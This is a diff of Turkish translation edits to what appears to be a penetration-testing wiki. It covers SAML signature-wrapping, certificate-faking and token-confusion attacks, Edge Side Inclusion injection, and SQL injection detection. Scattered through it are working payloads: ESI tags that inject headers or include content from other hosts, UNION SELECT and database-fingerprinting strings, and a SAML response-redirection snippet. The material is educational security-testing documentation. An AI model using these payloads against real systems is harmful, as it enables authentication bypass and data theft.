Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) belgesinde belgelenmiştir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -16,7 +16,7 @@ saml-basics.md
|
||||
|
||||
## XML gidiş-dönüş
|
||||
|
||||
XML'de imzalı kısım bellekte saklanır, ardından bazı kodlama/şifreleme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/şifreleme veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, **kontrol edilen veri ile orijinal veri aynı olmayabilir**.
|
||||
XML'de XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/şifreleme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/şifreleme veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, **kontrol edilen veri ile orijinal veri aynı olmayabilir**.
|
||||
|
||||
Örneğin, aşağıdaki kodu kontrol edin:
|
||||
```ruby
|
||||
@ -38,11 +38,11 @@ REXML 3.2.4 veya daha önceki bir sürümle programı çalıştırmak, bunun yer
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
```
|
||||
REXML'in yukarıdaki programdan orijinal XML belgesini gördüğü şekil:
|
||||
REXML, yukarıdaki programdan orijinal XML belgesini şu şekilde gördü:
|
||||
|
||||
.png>)
|
||||
|
||||
Ve bunu bir analiz ve serileştirme turundan sonra gördüğü şekil:
|
||||
Ve bunu bir dizi ayrıştırma ve serileştirme işleminden sonra şu şekilde gördü:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -53,14 +53,14 @@ Açıklık ve nasıl istismar edileceği hakkında daha fazla bilgi için:
|
||||
|
||||
## XML İmza Sarma Saldırıları
|
||||
|
||||
**XML İmza Sarma saldırılarında (XSW)**, düşmanlar XML belgeleri iki farklı aşamada işlenirken ortaya çıkan bir zafiyeti istismar eder: **imza doğrulama** ve **işlev çağrısı**. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan **sahte öğeler** enjekte eder ve bu öğeler XML İmzasının geçerliliğini tehlikeye atmaz. Bu manipülasyon, **uygulama mantığı** tarafından analiz edilen öğeler ile **imza doğrulama modülü** tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı **sahte öğeleri** işler. Böylece, saldırgan XML İmzasının **bütünlük korumasını** ve **kaynak kimlik doğrulamasını** etkili bir şekilde atlatır ve **rastgele içerik enjekte etme** imkanı bulur.
|
||||
**XML İmza Sarma saldırılarında (XSW)**, düşmanlar, XML belgeleri iki farklı aşamadan geçirilirken ortaya çıkan bir zafiyeti istismar eder: **imza doğrulama** ve **işlev çağrısı**. Bu saldırılar, XML belgesinin yapısını değiştirmeyi içerir. Özellikle, saldırgan **sahte öğeler** enjekte eder ve bu öğeler XML İmzasının geçerliliğini tehlikeye atmaz. Bu manipülasyon, **uygulama mantığı** tarafından analiz edilen öğeler ile **imza doğrulama modülü** tarafından kontrol edilenler arasında bir tutarsızlık yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalırken ve doğrulamadan geçerken, uygulama mantığı **sahte öğeleri** işler. Böylece, saldırgan XML İmzasının **bütünlük korumasını** ve **kaynak kimliğini doğrulamasını** etkili bir şekilde atlatır ve **rastgele içerik enjekte etme** olanağına sahip olur.
|
||||
|
||||
Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **ve** [**bu makaleye**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.
|
||||
Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **ve** [**bu makaleye**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) dayanmaktadır. Bu nedenle, daha fazla ayrıntı için bunları kontrol edin.
|
||||
|
||||
### XSW #1
|
||||
|
||||
- **Strateji**: İmza içeren yeni bir kök öğe eklenir.
|
||||
- **Sonuç**: Doğrulayıcı, meşru "Response -> Assertion -> Subject" ile saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışıklık yaşayabilir, bu da veri bütünlüğü sorunlarına yol açar.
|
||||
- **Sonuç**: Doğru "Response -> Assertion -> Subject" ile saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışıklık yaşanabilir, bu da veri bütünlüğü sorunlarına yol açar.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -74,7 +74,7 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note
|
||||
### XSW #3
|
||||
|
||||
- **Strateji**: Kötü bir Assertion, orijinal assertion ile aynı hiyerarşik seviyede oluşturulur.
|
||||
- **Sonuç**: İş mantığını kötü niyetli verileri kullanmaya yönlendirmeyi amaçlar.
|
||||
- **Sonuç**: İş mantığını kötü verileri kullanmaya yönlendirmeyi amaçlar.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,35 +87,35 @@ Aşağıdaki saldırılar [**bu blog yazısına**](https://epi052.gitlab.io/note
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **Benzersiz Özellik**: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarmalı/saran/ayrık) uyar.
|
||||
- **Eşsiz Özellik**: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarmalı/saran/ayrık) uyar.
|
||||
- **Sonuç**: Kopyalanmış Assertion, İmza'yı sarar ve beklenen belge yapısını değiştirir.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
- **Strateji**: XSW #4 ve #5 ile benzer konum ekleme, ancak bir değişiklikle.
|
||||
- **Strateji**: XSW #4 ve #5 ile benzer konum ekleme, ancak bir farklılıkla.
|
||||
- **Sonuç**: Kopyalanmış Assertion, İmza'yı sarar, bu da orijinal Assertion'ı sarar ve iç içe geçmiş yanıltıcı bir yapı oluşturur.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
- **Strateji**: Kopyalanmış Assertion'ın çocuk olarak eklendiği bir Extensions öğesi eklenir.
|
||||
- **Sonuç**: Bu, Extensions öğesinin daha az kısıtlayıcı şemasını istismar ederek şema doğrulama önlemlerini aşmayı amaçlar, özellikle OpenSAML gibi kütüphanelerde.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### XSW #8
|
||||
|
||||
- **XSW #7'den Farkı**: Saldırının bir varyantı için başka bir daha az kısıtlayıcı XML öğesi kullanır.
|
||||
- **Sonuç**: Orijinal Assertion, daha az kısıtlayıcı öğenin çocuğu haline gelir ve XSW #7'de kullanılan yapıyı tersine çevirir.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Araç
|
||||
|
||||
İsteği analiz etmek, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp eklentisi [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz.
|
||||
İsteği ayrıştırmak, seçtiğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp eklentisi [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz.
|
||||
|
||||
## XXE
|
||||
|
||||
@ -181,9 +181,9 @@ Bu tür zafiyetleri kontrol etmek için burada bir **POC** bulabilirsiniz, bu b
|
||||
```
|
||||
### Araç
|
||||
|
||||
SAML isteğinden POC oluşturmak için olası XSLT zafiyetlerini test etmek amacıyla Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz.
|
||||
SAML isteğinden POC oluşturmak için Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. Bu, olası XSLT zafiyetlerini test etmek için kullanılabilir.
|
||||
|
||||
Ayrıca bu konuşmayı da kontrol edin: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Ayrıca bu konuşmayı kontrol edin: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XML İmza Hariç Tutma <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
@ -193,7 +193,7 @@ Ayrıca bu konuşmayı da kontrol edin: [https://www.youtube.com/watch?v=WHn-6xH
|
||||
|
||||
### Araç <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanarak SAML Yanıtını yakalayabilir ve `İmzaları Kaldır` seçeneğine tıklayabilirsiniz. Böylece **tüm** İmza öğeleri kaldırılır.
|
||||
Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kullanabilirsiniz. SAML Yanıtını yakalayın ve `İmzaları Kaldır` butonuna tıklayın. Böylece **tüm** İmza öğeleri kaldırılır.
|
||||
|
||||
İmzalar kaldırıldıktan sonra, isteğin hedefe devam etmesine izin verin. Eğer İmza, Servis tarafından gerekli değilse
|
||||
|
||||
@ -201,14 +201,14 @@ Burp uzantısı [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb1
|
||||
|
||||
## Sertifika Sahteciliği
|
||||
|
||||
Sertifika Sahteciliği, bir **Hizmet Sağlayıcının (SP) bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için** kullanılan bir tekniktir. Bu, SAML Yanıtını veya İddiasını imzalamak için \***kendinden imzalı bir sertifika** kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.
|
||||
Sertifika Sahteciliği, bir **Hizmet Sağlayıcının (SP) bir SAML Mesajının güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için kullanılan bir tekniktir**. Bu, SAML Yanıtını veya İddiasını imzalamak için \***kendinden imzalı bir sertifika** kullanmayı içerir ve bu, SP ile IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olur.
|
||||
|
||||
### Sertifika Sahteciliği Nasıl Yapılır
|
||||
|
||||
Aşağıdaki adımlar, [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp uzantısını kullanarak süreci özetlemektedir:
|
||||
|
||||
1. SAML Yanıtını yakalayın.
|
||||
2. Yanıt bir imza içeriyorsa, sertifikayı `Sertifikayı SAML Raider Sertifikalarına Gönder` butonunu kullanarak SAML Raider Sertifikalarına gönderin.
|
||||
2. Yanıt bir imza içeriyorsa, sertifikayı `Sertifikayı SAML Raider Sertifikalarına Gönder` butonunu kullanarak gönderin.
|
||||
3. SAML Raider Sertifikaları sekmesinde, içe aktarılan sertifikayı seçin ve kendinden imzalı bir kopya oluşturmak için `Kaydet ve Kendinden İmzala` butonuna tıklayın.
|
||||
4. Burp'un Proxy'sindeki yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin.
|
||||
5. `İmzaları Kaldır` butonunu kullanarak mevcut imzaları kaldırın.
|
||||
@ -217,13 +217,13 @@ Aşağıdaki adımlar, [SAML Raider](https://portswigger.net/bappstore/c61cfa893
|
||||
|
||||
## Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, **Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını** kontrol etmeyi içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının **SubjectConfirmationData** öğesi içinde bulunan **Alıcı** alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır.
|
||||
Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, **Hizmet Sağlayıcının bir yanıtın hedef alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmeyi** içerir. Özünde, bir Hizmet Sağlayıcı, bir başka sağlayıcı için tasarlanmışsa bir kimlik doğrulama yanıtını reddetmelidir. Buradaki kritik unsur, SAML Yanıtının **SubjectConfirmationData** öğesi içinde bulunan **Alıcı** alanıdır. Bu alan, İddianın gönderilmesi gereken yeri belirten bir URL'yi belirtir. Eğer gerçek alıcı, hedef Hizmet Sağlayıcı ile eşleşmiyorsa, İddia geçersiz sayılmalıdır.
|
||||
|
||||
#### **Nasıl Çalışır**
|
||||
|
||||
Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. Öncelikle, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkincisi, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet veren aynı Kimlik Sağlayıcıdan token kabul etmelidir.
|
||||
|
||||
Bu koşullar altında saldırı süreci oldukça basittir. SP-Legit ile paylaşılan Kimlik Sağlayıcı aracılığıyla geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırının başarısı, SP-Target'ın İddia kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar.
|
||||
Bu koşullar altında saldırı süreci basittir. SP-Legit ile paylaşılan Kimlik Sağlayıcı aracılığıyla geçerli bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e gelen SAML Yanıtı yakalanır. Bu yakalanan SAML Yanıtı, aslında SP-Legit için tasarlanmışken, SP-Target'a yönlendirilir. Bu saldırının başarısı, SP-Target'ın İddia'yı kabul etmesiyle ölçülür ve bu, SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlar.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
## SAML ve OAuth Arasındaki Karşılaştırma
|
||||
|
||||
- **SAML**, işletmelere SSO oturum açma güvenliği üzerinde daha fazla kontrol sağlamak için tasarlanmıştır.
|
||||
- **OAuth**, daha mobil dostu olacak şekilde tasarlanmış, JSON kullanır ve Google ve Twitter gibi şirketlerin iş birliği ile geliştirilmiştir.
|
||||
- **OAuth**, daha mobil dostu olacak şekilde tasarlanmış, JSON kullanmakta ve Google ve Twitter gibi şirketlerin iş birliği ile geliştirilmiştir.
|
||||
|
||||
# SAML Kimlik Doğrulama Akışı
|
||||
|
||||
@ -42,14 +42,14 @@ Ham SAML İsteği şu şekilde görünür:
|
||||
<samlp:AuthnRequest ...
|
||||
</samlp:AuthnRequest>
|
||||
```
|
||||
Talebin ana unsurları şunlardır:
|
||||
Bu isteğin ana unsurları şunlardır:
|
||||
|
||||
- **AssertionConsumerServiceURL**: IdP'nin SAML Yanıtını kimlik doğrulama sonrası nereye göndermesi gerektiğini belirtir.
|
||||
- **Destination**: Talebin gönderildiği IdP'nin adresi.
|
||||
- **Destination**: İsteğin gönderildiği IdP'nin adresi.
|
||||
- **ProtocolBinding**: SAML protokol mesajlarının iletim yöntemini tanımlar.
|
||||
- **saml:Issuer**: Talebi başlatan varlığı tanımlar.
|
||||
- **saml:Issuer**: İsteği başlatan varlığı tanımlar.
|
||||
|
||||
SAML Talep oluşturulmasının ardından, SP bir **302 yönlendirmesi** ile yanıt verir ve tarayıcıyı SAML Talebi'nin HTTP yanıtının **Location** başlığında kodlanmış olarak IdP'ye yönlendirir. **RelayState** parametresi, işlem boyunca durum bilgisini korur ve SP'nin SAML Yanıtını aldığında başlangıçta yapılan kaynak talebini tanımasını sağlar. **SAMLRequest** parametresi, ham XML parçasının sıkıştırılmış ve kodlanmış bir versiyonudur ve Deflate sıkıştırması ile base64 kodlaması kullanır.
|
||||
SAML İsteği oluşturulduktan sonra, SP bir **302 yönlendirmesi** ile yanıt verir ve tarayıcıyı SAML İsteği'nin HTTP yanıtının **Location** başlığında kodlanmış olduğu IdP'ye yönlendirir. **RelayState** parametresi, işlem boyunca durum bilgisini korur ve SP'nin SAML Yanıtını aldığında ilk kaynak isteğini tanımasını sağlar. **SAMLRequest** parametresi, ham XML parçasının sıkıştırılmış ve kodlanmış bir versiyonudur ve Deflate sıkıştırması ile base64 kodlaması kullanır.
|
||||
|
||||
# SAML Yanıt Örneği
|
||||
|
||||
@ -58,18 +58,18 @@ SAML Talep oluşturulmasının ardından, SP bir **302 yönlendirmesi** ile yan
|
||||
- **ds:Signature**: Bu bölüm, bir XML İmzasıdır ve beyanın vericisinin bütünlüğünü ve doğruluğunu sağlar. Örnekteki SAML yanıtı, bir mesaj için ve diğeri beyan için olmak üzere iki `ds:Signature` öğesi içerir.
|
||||
- **saml:Assertion**: Bu kısım, kullanıcının kimliği ve muhtemelen diğer nitelikler hakkında bilgi tutar.
|
||||
- **saml:Subject**: Beyandaki tüm ifadelerin ana konusunu belirtir.
|
||||
- **saml:StatusCode**: İlgili talebe yanıt olarak işlemin durumunu temsil eder.
|
||||
- **saml:StatusCode**: İlgili isteğe yanıt olarak işlemin durumunu temsil eder.
|
||||
- **saml:Conditions**: Beyanın geçerlilik zamanlaması ve belirtilen Hizmet Sağlayıcı gibi koşulları detaylandırır.
|
||||
- **saml:AuthnStatement**: IdP'nin Beyanın konusunu kimlik doğruladığını onaylar.
|
||||
- **saml:AttributeStatement**: Beyanın konusunu tanımlayan nitelikleri içerir.
|
||||
|
||||
SAML Yanıtının ardından, süreç IdP'den bir 302 yönlendirmesi içerir. Bu, Hizmet Sağlayıcı'nın Assertion Consumer Service (ACS) URL'sine bir POST talebine yol açar. POST talebi, `RelayState` ve `SAMLResponse` parametrelerini içerir. ACS, SAML Yanıtını işlemekten ve doğrulamaktan sorumludur.
|
||||
SAML Yanıtının ardından, süreç IdP'den bir 302 yönlendirmesi içerir. Bu, Hizmet Sağlayıcı'nın Assertion Consumer Service (ACS) URL'sine bir POST isteğine yol açar. POST isteği, `RelayState` ve `SAMLResponse` parametrelerini içerir. ACS, SAML Yanıtını işlemekten ve doğrulamaktan sorumludur.
|
||||
|
||||
POST talebi alındıktan ve SAML Yanıtı doğrulandıktan sonra, kullanıcının başlangıçta talep ettiği korumalı kaynağa erişim verilir. Bu, `/secure/` uç noktasına bir `GET` talebi ve kaynağa başarılı erişimi gösteren bir `200 OK` yanıtı ile gösterilir.
|
||||
POST isteği alındıktan ve SAML Yanıtı doğrulandıktan sonra, kullanıcının başlangıçta talep ettiği korumalı kaynağa erişim verilir. Bu, `/secure/` uç noktasına bir `GET` isteği ve kaynağa başarılı erişimi gösteren bir `200 OK` yanıtı ile gösterilmektedir.
|
||||
|
||||
# XML İmzaları
|
||||
|
||||
XML İmzaları çok yönlüdür, bir XML ağacını veya içindeki belirli öğeleri imzalamak için kullanılabilirler. Herhangi bir XML Nesnesine, yalnızca Yanıt öğelerine değil, uygulanabilirler. Aşağıda XML İmzalarının ana türleri bulunmaktadır:
|
||||
XML İmzaları çok yönlüdür, tüm bir XML ağacını veya içindeki belirli öğeleri imzalama yeteneğine sahiptir. Herhangi bir XML Nesnesine uygulanabilir, yalnızca Yanıt öğelerine değil. Aşağıda XML İmzalarının ana türleri bulunmaktadır:
|
||||
|
||||
### XML İmzasının Temel Yapısı
|
||||
|
||||
@ -91,11 +91,11 @@ Bir XML İmzası, aşağıda gösterildiği gibi temel unsurlardan oluşur:
|
||||
<Object />
|
||||
</Signature>
|
||||
```
|
||||
Her `Reference` öğesi, URI niteliği ile tanımlanabilen, imzalanan belirli bir kaynağı ifade eder.
|
||||
Her `Reference` öğesi, URI niteliği ile tanımlanabilen belirli bir kaynağı imzalamaktadır.
|
||||
|
||||
### XML İmzalarının Türleri
|
||||
|
||||
1. **Enveloped Signature**: Bu tür bir imza, imzaladığı kaynağın bir alt kümesidir, yani imza, imzalanan içeriğin bulunduğu aynı XML yapısı içinde yer alır.
|
||||
1. **Enveloped Signature**: Bu tür imza, imzaladığı kaynağın bir alt öğesidir, yani imza, imzalanan içeriğin bulunduğu aynı XML yapısı içinde yer alır.
|
||||
|
||||
Örnek:
|
||||
|
||||
@ -114,7 +114,7 @@ Her `Reference` öğesi, URI niteliği ile tanımlanabilen, imzalanan belirli bi
|
||||
</samlp:Response>
|
||||
```
|
||||
|
||||
Enveloped signature'da, `ds:Transform` öğesi, `enveloped-signature` algoritması ile sarıldığını belirtir.
|
||||
Enveloped signature'da, `ds:Transform` öğesi, `enveloped-signature` algoritması aracılığıyla sarıldığını belirtir.
|
||||
|
||||
2. **Enveloping Signature**: Enveloped signature'ların aksine, enveloping signature'lar imzalanan kaynağı sarar.
|
||||
|
||||
|
||||
@ -56,7 +56,7 @@ Tipik bir SSI ifadesinin aşağıdaki formatı vardır:
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
**Dinamik uygulamaların veya bilgilerin önbelleğe alınması** ile ilgili bir sorun vardır çünkü içeriğin bir kısmı bir sonraki içerik alındığında **değişebilir**. Bu, **ESI**'nin kullanılma amacıdır; ESI etiketleri kullanarak **önbellek versiyonundan önce oluşturulması gereken dinamik içeriği** belirtmek için.\
|
||||
**Dinamik uygulamaların veya bilgilerin önbelleğe alınması** ile ilgili bir sorun vardır çünkü içeriğin bir kısmı bir sonraki içerik alındığında **değişebilir**. Bu, **ESI**'nin kullanılma amacıdır; ESI etiketlerini kullanarak **önbellek versiyonundan önce oluşturulması gereken dinamik içeriği** belirtmek için.\
|
||||
Eğer bir **saldırgan** önbellek içeriği içine **bir ESI etiketi enjekte edebilirse**, o zaman, kullanıcılar gönderilmeden önce belgede **rastgele içerik enjekte edebilir**.
|
||||
|
||||
### ESI Detection
|
||||
@ -100,11 +100,11 @@ hell<!--esi-->o
|
||||
| **Yazılım** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | Evet | Evet | Evet | Evet | Hayır |
|
||||
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
|
||||
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
|
||||
| Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
|
||||
| Fastly | Evet | Hayır | Hayır | Hayır | Evet |
|
||||
| Akamai ESI Test Server (ETS) | Evet | Evet | Evet | Hayır | Hayır |
|
||||
| NodeJS esi | Evet | Evet | Evet | Hayır | Hayır |
|
||||
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
|
||||
| NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -160,7 +160,7 @@ Aşağıdaki, yanıta bir `Location` başlığı ekleyecektir.
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
</esi:include>
|
||||
```
|
||||
- Yanıtı "Content-Type: text/json" ile atlatmak için başlık ekleyin (XSS ile birlikte).
|
||||
- Başlık ekleyin (XSS ile bir yanıtta "Content-Type: text/json" atlatmak için yararlıdır)
|
||||
```bash
|
||||
<!--esi/$add_header('Content-Type','text/html')/-->
|
||||
|
||||
@ -175,7 +175,7 @@ Aşağıdaki, yanıta bir `Location` başlığı ekleyecektir.
|
||||
Host: anotherhost.com"/>
|
||||
</esi:include>
|
||||
```
|
||||
#### Akamai hata ayıklama
|
||||
#### Akamai debug
|
||||
|
||||
Bu, yanıtta yer alan hata ayıklama bilgilerini gönderecektir:
|
||||
```xml
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## SQL enjeksiyonu nedir?
|
||||
|
||||
Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların erişmemeleri gereken verileri, diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veriyi **görmesine**, **değiştirmesine** veya **silmesine** olanak tanıyabilir. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
|
||||
Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, erişmemeleri gereken verileri, diğer kullanıcıların bilgilerini veya uygulamanın erişebileceği herhangi bir veriyi içerebilir. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
|
||||
|
||||
## Giriş noktası tespiti
|
||||
|
||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **sorguya veri enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
|
||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -95,9 +95,9 @@ SQLite
|
||||
```
|
||||
Bazı durumlarda **sleep fonksiyonlarına izin verilmeyecek**. Bu durumda, bu fonksiyonları kullanmak yerine sorgunun **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz. _Bu tekniklerin örnekleri her teknoloji için ayrı ayrı yorumlanacaktır (varsa)_.
|
||||
|
||||
### Arka Ucu Tanımlama
|
||||
### Arka Uç Belirleme
|
||||
|
||||
Arka ucu tanımlamanın en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmaya çalışmaktır. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya bu fonksiyonları kullanabilirsiniz (tablo [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Arka ucu belirlemenin en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmaya çalışmaktır. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya bu fonksiyonları kullanabilirsiniz (tablo [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -125,10 +125,10 @@ Arka ucu tanımlamanın en iyi yolu, farklı arka uçların fonksiyonlarını ç
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Ayrıca, eğer sorgunun çıktısına erişiminiz varsa, **veritabanının sürümünü yazdırmasını** sağlayabilirsiniz.
|
||||
Ayrıca, sorgunun çıktısına erişiminiz varsa, **veritabanının sürümünü yazdırmasını** sağlayabilirsiniz.
|
||||
|
||||
> [!NOTE]
|
||||
> Devamında, farklı SQL Injection türlerini istismar etmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız.
|
||||
> Devamında, farklı türde SQL Injection'ları istismar etmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız.
|
||||
|
||||
### PortSwigger ile Tanımlama
|
||||
|
||||
@ -138,7 +138,7 @@ Ayrıca, eğer sorgunun çıktısına erişiminiz varsa, **veritabanının sür
|
||||
|
||||
### Sütun sayısını tespit etme
|
||||
|
||||
Eğer sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yolu budur.\
|
||||
Sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yolu budur.\
|
||||
Öncelikle, **ilk isteğin** döndürdüğü **sütunların sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\
|
||||
Bu amaçla genellikle iki yöntem kullanılır:
|
||||
|
||||
@ -168,7 +168,7 @@ Sorgu doğru olana kadar daha fazla null değeri seçin:
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
